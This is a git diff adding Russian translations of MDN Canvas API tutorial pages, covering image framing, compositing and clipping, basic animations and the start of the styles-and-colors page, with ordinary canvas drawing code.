+<p>Нарезка может быть полезным инструментом, когда вы захотите сделать композицию.  Вы могли бы собрать все элементы в одном файле изображения и использовать этот метод для создания композиции. Например, если вы захотите сделать график, вы могли бы сделать PNG изображение, содержащее все необходимые тексты в одном файле и в зависимости от ваших данных, могли бы достаточно просто изменять график. Другим преимуществом является то, что нет необходимости загружать каждое изображение по отдельности, получив возможность увеличить скорость загрузки.</p>
+
+<h3 id="Пример_Обрамление_изображения">Пример: Обрамление изображения</h3>
+
+<p>В этом примере, мы будем использовать того же носорога, что и в предыдущем примере, но мы отрежем его голову и включим ее в рамку. Изображение рамки это 24-х битный PNG, который включает падающую тень. Так как в 24-х битные PNG изображения включается полный 8-ми битный альфа-канал, в отличие от GIF и 8-битных PNG изображений, он может быть помещен в любой фон, без беспокойства о матовом цвете. </p>
+
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+   &lt;div style="display:none;"&gt;
+     &lt;img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg" width="300" height="227"&gt;
+     &lt;img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150"&gt;
+   &lt;/div&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+
+  // Рисуем фрагмент
+  ctx.drawImage(document.getElementById('source'),
+                33, 71, 104, 124, 21, 20, 87, 104);
+
+  // Рисуем рамку
+  ctx.drawImage(document.getElementById('frame'),0,0);
+}</pre>
+
+<p>В этот раз мы применили другой способ загрузки изображения. Вместо загрузки методом создания новых {{domxref("HTMLImageElement")}} объектов, мы включили их как  {{HTMLElement("img")}} тэги прямо в наш HTML файл и из них выбрали изображения. Изображения скрыты с помощью  CSS свойства {{cssxref("display")}}, установленного в "none" для этих изображений.</p>
+
+<p>{{EmbedLiveSample("Example_Framing_an_image", 160, 160, "https://mdn.mozillademos.org/files/226/Canvas_drawimage2.jpg")}}</p>
+
+<p>Скрипт, сам по себе, очень простой. Каждому {{HTMLElement("img")}} присвоен атрибут ID, который  делает удобным их выбор с использованием {{domxref("document.getElementById()")}}. Потом мы просто используем функцию  <code>drawImage()</code>, чтобы из первого изображения вырезать фрагмент носорога и вставить его в canvas, затем рисуем рамку сверху, используя второй вызов функции <code>drawImage()</code>.</p>
+
+<h2 id="Пример_галереи_искусства">Пример галереи искусства</h2>
+
+<p>В последнем примере этой главы, мы построим небольшую галлерею искусств. Галерея состоит из таблицы, включающей несколько изображений. Когда страница загрузится,  {{HTMLElement("canvas")}}  элемент вставится в каждое изображение, а вокруг будет нарисована рамка. </p>
+
+<p>В этом случае, у каждого изображения фиксированная ширина и высота, такая же, как и у рамки нарисованной вокруг них.  Вы могли бы усовершенствовать этот скрипт так, чтобы он использовал ширину и высоту изображения, чтобы рамка идеально его окружила.</p>
+
+<p>Код ниже должен говорить сам за себя. Мы проходим циклом через {{domxref("document.images")}} контейнер и соответственно добавляем новые элементы  canvas. Возможно следует упомянуть для тех, кто не слишком хорошо знаком с DOM, что для этого используется {{domxref("Node.insertBefore")}} метод. <code>insertBefore()</code> это метод родительского узла (ячейки таблицы) элемента (изображения) перед которым мы хотим вставить наш новый узел  (элемент canvas).</p>
+
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+     &lt;table&gt;
+      &lt;tr&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5399/gallery_1.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5401/gallery_2.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5403/gallery_3.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5405/gallery_4.jpg"&gt;&lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;tr&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5407/gallery_5.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5409/gallery_6.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5411/gallery_7.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5413/gallery_8.jpg"&gt;&lt;/td&gt;
+      &lt;/tr&gt;
+     &lt;/table&gt;
+     &lt;img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150"&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>И сюда какую-нибудь CSS для украшения:</p>
+
+<pre class="brush: css">body {
+  background: 0 -100px repeat-x url(https://mdn.mozillademos.org/files/5415/bg_gallery.png) #4F191A;
+  margin: 10px;
+}
+
+img {
+  display: none;
+}
+
+table {
+  margin: 0 auto;
+}
+
+td {
+  padding: 15px;
+}
+</pre>
+
+<p>Связывая все вместе  JavaScript рисует наши изображения в рамках:</p>
+
+<pre class="brush: js">function draw() {
+
+  // Цикл по всем изображениям
+  for (var i=0;i&lt;document.images.length;i++){
+
+    // Не добавляет canvas для изображения рамки
+    if (document.images[i].getAttribute('id')!='frame'){
+
+      // Создает элемент canvas
+      var canvas = document.createElement('canvas');
+      canvas.setAttribute('width',132);
+      canvas.setAttribute('height',150);
+
+      // Вставляет перед изображением
+      document.images[i].parentNode.insertBefore(canvas,document.images[i]);
+
+      var ctx = canvas.getContext('2d');
+
+      // Рисует изображение в canvas
+      ctx.drawImage(document.images[i],15,20);
+
+      // Добавляет рамку
+      ctx.drawImage(document.getElementById('frame'),0,0);
+    }
+  }
+}</pre>
+
+<p>{{EmbedLiveSample("Art_gallery_example", 725, 400)}}</p>
+
+<h2 id="Контроль_изменений_размеров_изображения">Контроль изменений размеров изображения</h2>
+
+<p>Как было отмечено ранее, изменение размеров изображений может привести к размытости или к шуму в процессе преобразования. Вы можете использовать контекст рисования {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} свойства, чтобы контролировать использование сглаживающего алгоритма, когда изменяющиеся изображения в вашем контексте. Обычно это свойство установлено в  <code>true</code>, означая, что изображения будут сглажены во время изменения размеров. Вы можете отключить это свойство так:</p>
+
+<pre class="brush: js">ctx.mozImageSmoothingEnabled = false;
+ctx.webkitImageSmoothingEnabled = false;
+ctx.msImageSmoothingEnabled = false;
+ctx.imageSmoothingEnabled = false;
+</pre>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Transformations")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/композиции/index.html b/files/ru/web/api/canvas_api/tutorial/композиции/index.html
new file mode 100644
index 0000000000..264cc7e544
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/композиции/index.html
@@ -0,0 +1,108 @@
+---
+title: Композиция и обрезка
+slug: Web/API/Canvas_API/Tutorial/Композиции
+tags:
+  - канвас
+translation_of: Web/API/Canvas_API/Tutorial/Compositing
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}</div>
+
+<div class="summary">
+<p>Во всех наших <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Transformations">предыдущих примерах</a>, фигуры всегда были нарисованы одна поверх другой. Это более чем достаточно для большинства ситуаций, но это ограничивает порядок, в котором построены композиционные формы. Однако, мы можем изменить это поведение, установив свойство <code>globalCompositeOperation</code>. Кроме того, свойства <code>clip</code> позволяет скрыть нежелательные части формы.</p>
+</div>
+
+<h2 id="globalCompositeOperation" name="globalCompositeOperation"><code>globalCompositeOperation</code></h2>
+
+<p>Мы можем не только рисовать новые фигуры за существующие формы, но мы также можем использовать его, чтобы замаскировать определенные участки, очистить разделы от холста (не ограничивается прямоугольниками, как{{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}} method does) и другое.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation = type")}}</dt>
+ <dd>Это задает Тип операции композиции для применения при разработке новых форм, где Тип является строкой, идентифицирующей, какие из двенадцати операций композитинг в использовании.</dd>
+</dl>
+
+<p>См.  <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing/Example">примеры компоновки</a> кода из следующих примеров.</p>
+
+<p>{{EmbedLiveSample("Compositing_example", 750, 6750, "" ,"Web/API/Canvas_API/Tutorial/Compositing/Example")}}</p>
+
+<h2 id="Clipping_paths" name="Clipping_paths">Обрезка контуров</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/209/Canvas_clipping_path.png" style="float: right;">Отсеченный контур похож на обычную форму холста, но он действует как маска, чтобы скрыть нежелательные части фигур. Это визуализируется на изображении справа. Форма красной звезды - наша отправочная дорожка. Все, что выходит за пределы этого пути, не будет нарисовано на холсте.</p>
+
+<p>Если мы сравниваем отсеченный контур со свойством <code>globalCompositeOperation</code> на изображении, мы видим два режима композитинга, которые достигают более или менее того же эффекта в исходном и исходном состоянии.   Наиболее важные различия между ними заключаются в том, что отсечение контура фактически  никогда не обращается к холсту и контур обрезки никогда не влияет добавление новых форм. Это делает обрезку контура идеальным для рисования нескольких фигур в ограниченной области.</p>
+
+<p>В главе о <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes" title="Web/Guide/HTML/Canvas_tutorial/Drawing_shapes#Drawing_paths">рисовании форм</a>, я назвал только <code>stroke()</code> и <code>fill()</code> методы, но есть третий способ можно использовать с контурами, так называемый <code>clip()</code>.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.clip", "clip()")}}</dt>
+ <dd>Преобразует текущий выстраиваемый контур в отсечённый контур.</dd>
+</dl>
+
+<p>Используйте <code>clip()</code> вместо <code>closePath()</code> для закрытия контура и его преобразования в отсечённый контур вместо создания заполняющего  или обрамляющего контура.</p>
+
+<p>По умолчанию элемент {{HTMLElement("canvas")}} использует отсечённый контур, который в точности совпадает по размеру с размером самого холста. Это означает, что никакого отсечения попросту не произойдёт.</p>
+
+<h3 id="A_clip_example" name="A_clip_example">Пример обрезки</h3>
+
+<p>В этом примере мы будем использовать круговую обрезку контура, чтобы ограничить рисование набора случайных звезд определенной областью.</p>
+
+<pre class="brush: js;highlight[9]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.fillRect(0, 0, 150, 150);
+  ctx.translate(75, 75);
+
+  // Create a circular clipping path
+  ctx.beginPath();
+  ctx.arc(0, 0, 60, 0, Math.PI * 2, true);
+  ctx.clip();
+
+  // draw background
+  var lingrad = ctx.createLinearGradient(0, -75, 0, 75);
+  lingrad.addColorStop(0, '#232256');
+  lingrad.addColorStop(1, '#143778');
+
+  ctx.fillStyle = lingrad;
+  ctx.fillRect(-75, -75, 150, 150);
+
+  // draw stars
+  for (var j = 1; j &lt; 50; j++) {
+    ctx.save();
+    ctx.fillStyle = '#fff';
+    ctx.translate(75 - Math.floor(Math.random() * 150),
+                  75 - Math.floor(Math.random() * 150));
+    drawStar(ctx, Math.floor(Math.random() * 4) + 2);
+    ctx.restore();
+  }
+
+}
+
+function drawStar(ctx, r) {
+  ctx.save();
+  ctx.beginPath();
+  ctx.moveTo(r, 0);
+  for (var i = 0; i &lt; 9; i++) {
+    ctx.rotate(Math.PI / 5);
+    if (i % 2 === 0) {
+      ctx.lineTo((r / 0.525731) * 0.200811, 0);
+    } else {
+      ctx.lineTo(r, 0);
+    }
+  }
+  ctx.closePath();
+  ctx.fill();
+  ctx.restore();
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>В первых нескольких строках кода мы рисуем черный прямоугольник размером с холстом в качестве фона, а затем переводим начало координат в центр. Затем мы создаем круговой обтравочный контур, рисуя дугу и вызывающий <code>clip()</code>. Обрезанные контуры также являются частью состояния сохранения холста. Если бы мы хотели сохранить исходный обтравочный контур, мы могли бы сохранить состояние холста перед созданием нового.</p>
+
+<p>Все, что нарисовано после создания отсеченного контура, появится только внутри этого пути. Вы можете видеть это четко в линейном градиенте, который нарисован далее. После этого набирается набор из 50 случайно расположенных и масштабированных звезд, используя <code>drawStar()</code>. Снова звезды появляются только в пределах определенного обтравочного контура.</p>
+
+<p>{{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/основы_анимации/index.html b/files/ru/web/api/canvas_api/tutorial/основы_анимации/index.html
new file mode 100644
index 0000000000..a47b8b734e
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/основы_анимации/index.html
@@ -0,0 +1,308 @@
+---
+title: Простые анимации
+slug: Web/API/Canvas_API/Tutorial/Основы_анимации
+tags:
+  - HTML
+  - HTML5
+  - Графика
+  - Обучение
+  - Средний уровень
+  - Холст
+translation_of: Web/API/Canvas_API/Tutorial/Basic_animations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Web/API/Canvas_API/Tutorial/Advanced_animations")}}</div>
+
+<div class="summary">
+<p>Поскольку для управления элементами {{HTMLElement ("canvas")}} используется JavaScript, не составляет труда сделать (интерактивные) анимации. В этой главе мы рассмотрим, как делаются некоторые базовые анимации.</p>
+</div>
+
+<p>Вероятно, самым большим ограничением является то, что когда фигура нарисована, её уже нельзя двигать. Чтобы изобразить движение нам нужно перерисовать фигуру и всё, что было нарисовано до неё. Перерисовка сложных кадров занимает много времени, и производительность сильно зависит от скорости компьютера, на котором она выполняется.</p>
+
+<h2 id="Basic_animation_steps" name="Basic_animation_steps">Основные шаги анимации</h2>
+
+<p>Ниже перечислены необходимые шаги для того, чтобы нарисовать кадр:</p>
+
+<ol>
+ <li><strong>Очистить canvas</strong><br>
+  Если фигура, которую вы собираетесь нарисовать, не занимает всю площадь canvas (как фон, например), то всё что было нарисовано ранее необходимо стереть. Проще всего это сделать при помощи метода {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}.</li>
+ <li><strong>Сохранить изначальное состояние canvas</strong><br>
+  Если вы изменяете любые настройки (такие как стили, трансформации и т.п.), которые затрагивают состояние canvas и вы хотите убедиться, что оригинальное состояние используется каждый раз, когда был отрисован кадр, то вам следует сохранить это оригинальное состояние.</li>
+ <li><strong>Нарисовать анимированные фигуры</strong><br>
+  Шаг на котором вы собственно отрисовываете кадр.</li>
+ <li><strong>Восстановить состояние canvas</strong><br>
+  Если вы сохраняли состояние, восстановите его, прежде чем отрисовывать новый кадр.</li>
+</ol>
+
+<h2 id="Controlling_an_animation" name="Controlling_an_animation">Управление анимацией</h2>
+
+<p>Фигуры отрисовываются на canvas либо напрямую — при помощи методов canvas, либо с помощью сторонних функций. В нормальной ситуации результат станет виден на canvas после окончания выполнения скрипта. К примеру, цикл for использовать для анимации нельзя. </p>
+
+<p>Это значит, нужен способ выполнения функций отрисовки через интервалы времени. Есть два способа для управления такой анимацией.</p>
+
+<h3 id="Запланированные_обновления">Запланированные обновления</h3>
+
+<p>Первый — это функции {{domxref("window.setInterval()")}}, {{domxref("window.setTimeout()")}}, и {{domxref("window.requestAnimationFrame()")}}, которые могут быть использованы для вызова некоторой функции, через заданный промежуток времени.</p>
+
+<dl>
+ <dt>{{domxref("WindowTimers.setInterval", "setInterval(function, delay)")}}</dt>
+ <dd>Начинает периодически исполнять функцию <code>function</code> каждые <code>delay</code> миллисекунд.</dd>
+ <dt>{{domxref("WindowTimers.setTimeout", "setTimeout(function, delay)")}}</dt>
+ <dd>Запускает выполнение указанной функции <code>function</code> через <code>delay</code> миллисекунд.</dd>
+ <dt>{{domxref("Window.requestAnimationFrame()", "requestAnimationFrame(callback)")}}</dt>
+ <dd>Сообщает браузеру, что вы хотите выполнить анимацию, и запрашивает, чтобы браузер вызвал указанную функцию <code>callback</code> для обновления анимации перед следующей перерисовкой.</dd>
+</dl>
+
+<p>Если вы не планируете никакого взаимодействия с пользователем, вы можете использовать функцию <code>setInterval()</code> , которая многократно выполняет, предоставленный ей код. Если же вы планиуете создать игру, в которой контроль анимации осуществляется мышью или клавиатурой, то необходимо использовать  <code>setTimeout()</code>. Установив {{domxref("EventListener")}}, вы можете перехватываете любые действия пользователя и запустить соответствующие функции анимации.</p>
+
+<div class="note">
+<p>В примерах ниже мы будем использовать функцию {{domxref("window.requestAnimationFrame()")}} для контроля анимации. Функция <code>requestAnimationFrame</code> является более эффективной для создания анимации, так как новая итерация вызывается, когда система готова к отрисовке нового кадра. Количество вызовов в секунду примерно равно 60 и уменьшается, когда вкладка неактивна. Для более подробного изучения цикла анимации, особенно для игр, прочитайте статью <a href="/en-US/docs/Games/Anatomy">Анатомия видеоигр </a>В <a href="/en-US/docs/Games">Зоне разработке игр</a>.</p>
+</div>
+
+<h2 id="Анимированная_солнечная_система">Анимированная солнечная система</h2>
+
+<p>В этом примере анимируется небольшая модель солнечной системы.</p>
+
+<pre class="brush: js">var sun = new Image();
+var moon = new Image();
+var earth = new Image();
+function init(){
+  sun.src = 'https://mdn.mozillademos.org/files/1456/Canvas_sun.png';
+  moon.src = 'https://mdn.mozillademos.org/files/1443/Canvas_moon.png';
+  earth.src = 'https://mdn.mozillademos.org/files/1429/Canvas_earth.png';
+  window.requestAnimationFrame(draw);
+}
+
+function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.globalCompositeOperation = 'destination-over';
+  ctx.clearRect(0,0,300,300); // clear canvas
+
+  ctx.fillStyle = 'rgba(0,0,0,0.4)';
+  ctx.strokeStyle = 'rgba(0,153,255,0.4)';
+  ctx.save();
+  ctx.translate(150,150);
+
+  // Earth
+  var time = new Date();
+  ctx.rotate( ((2*Math.PI)/60)*time.getSeconds() + ((2*Math.PI)/60000)*time.getMilliseconds() );
+  ctx.translate(105,0);
+  ctx.fillRect(0,-12,50,24); // Shadow
+  ctx.drawImage(earth,-12,-12);
+
+  // Moon
+  ctx.save();
+  ctx.rotate( ((2*Math.PI)/6)*time.getSeconds() + ((2*Math.PI)/6000)*time.getMilliseconds() );
+  ctx.translate(0,28.5);
+  ctx.drawImage(moon,-3.5,-3.5);
+  ctx.restore();
+
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.arc(150,150,105,0,Math.PI*2,false); // Earth orbit
+  ctx.stroke();
+
+  ctx.drawImage(sun,0,0,300,300);
+
+  window.requestAnimationFrame(draw);
+}
+
+init();
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("An_animated_solar_system", "310", "310", "https://mdn.mozillademos.org/files/202/Canvas_animation1.png")}}</p>
+
+<h2 id="Анимированные_часы">Анимированные часы</h2>
+
+<p>В этом примере создаются анимированные часы, показывающие правильное время.</p>
+
+<pre class="brush: js">function clock(){
+  var now = new Date();
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.save();
+  ctx.clearRect(0,0,150,150);
+  ctx.translate(75,75);
+  ctx.scale(0.4,0.4);
+  ctx.rotate(-Math.PI/2);
+  ctx.strokeStyle = "black";
+  ctx.fillStyle = "white";
+  ctx.lineWidth = 8;
+  ctx.lineCap = "round";
+
+  // Hour marks
+  ctx.save();
+  for (var i=0;i&lt;12;i++){
+    ctx.beginPath();
+    ctx.rotate(Math.PI/6);
+    ctx.moveTo(100,0);
+    ctx.lineTo(120,0);
+    ctx.stroke();
+  }
+  ctx.restore();
+
+  // Minute marks
+  ctx.save();
+  ctx.lineWidth = 5;
+  for (i=0;i&lt;60;i++){
+    if (i%5!=0) {
+      ctx.beginPath();
+      ctx.moveTo(117,0);
+      ctx.lineTo(120,0);
+      ctx.stroke();
+    }
+    ctx.rotate(Math.PI/30);
+  }
+  ctx.restore();
+
+  var sec = now.getSeconds();
+  var min = now.getMinutes();
+  var hr  = now.getHours();
+  hr = hr&gt;=12 ? hr-12 : hr;
+
+  ctx.fillStyle = "black";
+
+  // write Hours
+  ctx.save();
+  ctx.rotate( hr*(Math.PI/6) + (Math.PI/360)*min + (Math.PI/21600)*sec )
+  ctx.lineWidth = 14;
+  ctx.beginPath();
+  ctx.moveTo(-20,0);
+  ctx.lineTo(80,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // write Minutes
+  ctx.save();
+  ctx.rotate( (Math.PI/30)*min + (Math.PI/1800)*sec )
+  ctx.lineWidth = 10;
+  ctx.beginPath();
+  ctx.moveTo(-28,0);
+  ctx.lineTo(112,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // Write seconds
+  ctx.save();
+  ctx.rotate(sec * Math.PI/30);
+  ctx.strokeStyle = "#D40000";
+  ctx.fillStyle = "#D40000";
+  ctx.lineWidth = 6;
+  ctx.beginPath();
+  ctx.moveTo(-30,0);
+  ctx.lineTo(83,0);
+  ctx.stroke();
+  ctx.beginPath();
+  ctx.arc(0,0,10,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.beginPath();
+  ctx.arc(95,0,10,0,Math.PI*2,true);
+  ctx.stroke();
+  ctx.fillStyle = "rgba(0,0,0,0)";
+  ctx.arc(0,0,3,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.lineWidth = 14;
+  ctx.strokeStyle = '#325FA2';
+  ctx.arc(0,0,142,0,Math.PI*2,true);
+  ctx.stroke();
+
+  ctx.restore();
+
+  window.requestAnimationFrame(clock);
+}
+
+window.requestAnimationFrame(clock);</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("An_animated_clock", "180", "180", "https://mdn.mozillademos.org/files/203/Canvas_animation2.png")}}</p>
+
+<h2 id="Зацикленная_панорама">Зацикленная панорама</h2>
+
+<p>В этом примере панорама прокручивается слева направо. Мы используем <a href="http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg" title="http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg">фото национального парка Йосемити</a> взятое из Википедии, но вы можете использовать любое изображение, большее элемента canvas.</p>
+
+<pre class="brush: js">var img = new Image();
+
+// User Variables - customize these to change the image being scrolled, its
+// direction, and the speed.
+
+img.src = 'https://mdn.mozillademos.org/files/4553/Capitan_Meadows,_Yosemite_National_Park.jpg';
+var CanvasXSize = 800;
+var CanvasYSize = 200;
+var speed = 30; //lower is faster
+var scale = 1.05;
+var y = -4.5; //vertical offset
+
+// Main program
+
+var dx = 0.75;
+var imgW;
+var imgH;
+var x = 0;
+var clearX;
+var clearY;
+var ctx;
+
+img.onload = function() {
+    imgW = img.width*scale;
+    imgH = img.height*scale;
+    if (imgW &gt; CanvasXSize) { x = CanvasXSize-imgW; } // image larger than canvas
+    if (imgW &gt; CanvasXSize) { clearX = imgW; } // image larger than canvas
+    else { clearX = CanvasXSize; }
+    if (imgH &gt; CanvasYSize) { clearY = imgH; } // image larger than canvas
+    else { clearY = CanvasYSize; }
+    //Get Canvas Element
+    ctx = document.getElementById('canvas').getContext('2d');
+    //Set Refresh Rate
+    return setInterval(draw, speed);
+}
+
+function draw() {
+    //Clear Canvas
+    ctx.clearRect(0,0,clearX,clearY);
+    //If image is &lt;= Canvas Size
+    if (imgW &lt;= CanvasXSize) {
+        //reset, start from beginning
+        if (x &gt; (CanvasXSize)) { x = 0; }
+        //draw aditional image
+        if (x &gt; (CanvasXSize-imgW)) { ctx.drawImage(img,x-CanvasXSize+1,y,imgW,imgH); }
+    }
+    //If image is &gt; Canvas Size
+    else {
+        //reset, start from beginning
+        if (x &gt; (CanvasXSize)) { x = CanvasXSize-imgW; }
+        //draw aditional image
+        if (x &gt; (CanvasXSize-imgW)) { ctx.drawImage(img,x-imgW+1,y,imgW,imgH); }
+    }
+    //draw image
+    ctx.drawImage(img,x,y,imgW,imgH);
+    //amount to move
+    x += dx;
+}
+</pre>
+
+<p>Заметьте, что ширина и высота должны совпадать  со значениями <code>CanvasXZSize</code> и <code>CanvasYSize</code>.</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="800" height="200"&gt;&lt;/canvas&gt;</pre>
+
+<p>{{EmbedLiveSample("A_looping_panorama", "830", "230")}}</p>
+
+<h2 id="Other_examples" name="Other_examples">Другие примеры</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API/A_basic_ray-caster" title="/en-US/docs/Web/Guide/HTML/A_basic_ray-caster">A basic ray-caster</a></dt>
+ <dd>Хороший пример того, как сделать управляемую анимацию с клавиатуры.</dd>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Advanced_animations">Advanced animations</a></dt>
+ <dd>Мы рассмотрим некоторые продвинутые методы анимации и физику в следующей главе.</dd>
+</dl>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Web/API/Canvas_API/Tutorial/Advanced_animations")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/применение_стилей_и_цветов/index.html b/files/ru/web/api/canvas_api/tutorial/применение_стилей_и_цветов/index.html
new file mode 100644
index 0000000000..2c9eeaae78
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/применение_стилей_и_цветов/index.html
@@ -0,0 +1,726 @@
+---
+title: Применение стилей и цветов
+slug: Web/API/Canvas_API/Tutorial/Применение_стилей_и_цветов
+translation_of: Web/API/Canvas_API/Tutorial/Applying_styles_and_colors
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_shapes", "Web/API/Canvas_API/Tutorial/Drawing_text")}}</div>
+
+<div class="summary">
+<p>В главе о <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes" title="Web/Guide/HTML/Canvas_tutorial/Drawing_shapes">рисовании фигур</a>, <span id="result_box" lang="ru"><span>мы использовали</span></span><span lang="ru"><span class="hps"> для линий</span> <span class="hps">и</span><span class="hps"> заполнения</span> <span class="hps">только</span> <span class="hps">стили<span> </span>по умолчанию</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Здесь</span> <span class="hps">мы будем исследовать</span> <span class="hps">опции </span></span>canvas<span lang="ru">, которые <span class="hps">мы</span> <span class="hps">имеем в нашем</span> <span class="hps">распоряжении, чтобы сделать</span> <span class="hps">наши</span> <span class="hps">рисунки</span> <span class="hps">немного</span> <span class="hps">более привлекательными. </span></span><span id="result_box" lang="ru"><span class="hps">Вы узнаете, как</span> <span class="hps">добавлять различные</span> <span class="hps">цвета,</span> <span class="hps">стили линий</span><span>, градиенты</span><span>, узоры</span> <span class="hps">и тени</span> <span class="hps">вашим рисункам</span><span>.</span></span></p>
+</div>
+
+<h2 id="Colors" name="Colors">Цвета</h2>
+
+<p><span id="result_box" lang="ru"><span class="hps">До сих пор</span> <span class="hps">мы</span> <span class="hps">видели только</span> <span class="hps">методы</span> <span class="hps">рисования контекста. </span></span><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">мы хотим применить</span> <span class="hps">цвета</span> <span class="hps">к фигуре</span><span>,</span> то <span class="hps">есть два важных</span> <span class="hps">свойства</span>, которые <span class="hps">мы можем</span> <span class="hps">использовать:</span></span> <code>fillStyle</code> и <code>strokeStyle</code>.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle = color")}}</dt>
+ <dd>Устанавливает стиль для фона фигур.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle = color")}}</dt>
+ <dd>Устанавливает стиль контура фигуры. </dd>
+</dl>
+
+<p><em><code>color </code></em>может быть цветом, (<code>строка, представленная в</code> CSS {{cssxref("&lt;color&gt;")}}), градиентом или паттерном. Градиенты и паттерны мы рассмотрим позже. По умолчанию цвет фона и контура  — черный (значение CSS цвета  <code>#000000</code>).</p>
+
+<div class="note">
+<p><strong>На заметку:</strong> Когда вы устанавливаете  значения <code>strokeStyle</code> и/или <code>fillStyle</code>, то новое значение становится стандартным для всех фигур, которые будут нарисованы с этого момента. Когда вам нужен другой цвет, вы должны перезаписать значение в <code>fillStyle</code> или в <code>strokeStyle</code> для каждой фигуры.</p>
+</div>
+
+<p>Чтобы строка <em><code>color </code></em>считалась валидной, она должна соответствовать CSS {{cssxref("&lt;color&gt;")}}. Далее приведены примеры того, как можно по-разному задать один и тот же цвет. </p>
+
+<pre class="brush: js notranslate">// these all set the fillStyle to 'orange'
+
+ctx.fillStyle = "orange";
+ctx.fillStyle = "#FFA500";
+ctx.fillStyle = "rgb(255,165,0)";
+ctx.fillStyle = "rgba(255,165,0,1)";
+</pre>
+
+<h3 id="Пример_fillStyle">Пример <code>fillStyle</code></h3>
+
